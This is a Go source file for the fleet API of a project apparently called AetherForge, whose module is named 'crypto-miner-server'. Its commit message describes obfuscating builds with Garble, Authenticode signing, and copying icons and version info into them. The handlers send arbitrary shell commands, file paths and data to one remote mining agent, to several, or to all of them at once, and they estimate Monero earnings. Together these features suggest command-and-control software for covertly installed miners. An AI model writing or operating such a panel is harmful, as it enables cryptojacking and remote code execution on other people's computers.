Files
AetherForge/server/internal/api/fleet_handler.go
drjones c95a4373de Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
2026-05-28 21:48:20 -07:00

259 lines
6.3 KiB
Go

package api
import (
"encoding/json"
"net/http"
"strconv"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
"github.com/go-chi/chi/v5"
)
type FleetHandler struct {
db *db.Database
ws *WSHub
ai *AIHandler
pools *pool.Manager
alerts *alerts.Evaluator
defaultPool pool.Config
}
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
return &FleetHandler{
db: database,
ws: ws,
ai: ai,
pools: pools,
alerts: evaluator,
defaultPool: defaultPool,
}
}
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
if f.alerts == nil {
writeJSON(w, []alerts.AlertEvent{})
return
}
writeJSON(w, f.alerts.ActiveAlerts())
}
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
if f.pools == nil {
writeJSON(w, []pool.PoolStatus{})
return
}
writeJSON(w, f.pools.ListStatus())
}
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
if f.ai == nil {
writeJSON(w, []AIActivityEntry{})
return
}
writeJSON(w, f.ai.ActivitySnapshot())
}
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
hashrate := parseFloatQuery(r, "hashrate", 0)
writeJSON(w, EstimateXMRPerDay(hashrate))
}
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
content := f.ws.GetAgentLog(id)
if r.URL.Query().Get("refresh") == "1" {
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
for i := 0; i < 12; i++ {
time.Sleep(150 * time.Millisecond)
if c := f.ws.GetAgentLog(id); c != "" {
content = c
break
}
}
}
writeJSON(w, map[string]interface{}{
"agent_id": id,
"content": content,
})
}
type agentCommandRequest struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
}
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid command", http.StatusBadRequest)
return
}
if req.Action == "" {
http.Error(w, "action is required", http.StatusBadRequest)
return
}
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
args := map[string]interface{}{}
if req.TailLines > 0 {
args["tail_lines"] = req.TailLines
}
if req.Command != "" {
args["command"] = req.Command
}
if req.Path != "" {
args["path"] = req.Path
}
if req.Data != "" {
args["data"] = req.Data
}
if id == "all" {
if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "no connected agents",
"agent_id": id,
"action": req.Action,
})
return
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
}
writeJSON(w, map[string]interface{}{
"success": true,
"agent_id": id,
"action": req.Action,
})
}
type agentMetaRequest struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`
}
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentMetaRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if _, err := f.db.GetAgent(id); err != nil {
http.Error(w, "agent not found", http.StatusNotFound)
return
}
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
agent, _ := f.db.GetAgent(id)
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
}
type bulkCommandRequest struct {
AgentIDs []string `json:"agent_ids"`
Action string `json:"action"`
Command string `json:"command,omitempty"`
}
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
var req bulkCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if req.Action == "" {
http.Error(w, "action is required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent_ids is required",
})
return
}
args := map[string]interface{}{}
if req.Command != "" {
args["command"] = req.Command
}
sent := 0
failed := 0
for _, id := range req.AgentIDs {
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
failed++
} else {
sent++
}
}
writeJSON(w, map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"action": req.Action,
})
}
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
const networkHashrate = 3_000_000_000.0
const dailyEmissionXMR = 432.0
xmr := 0.0
if hashrate > 0 && networkHashrate > 0 {
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
}
return map[string]interface{}{
"hashrate": hashrate,
"xmr_per_day": xmr,
"usd_per_day": nil,
"network_hashrate": networkHashrate,
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
}
}
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
v := r.URL.Query().Get(key)
if v == "" {
return def
}
f, err := strconv.ParseFloat(v, 64)
if err != nil {
return def
}
return f
}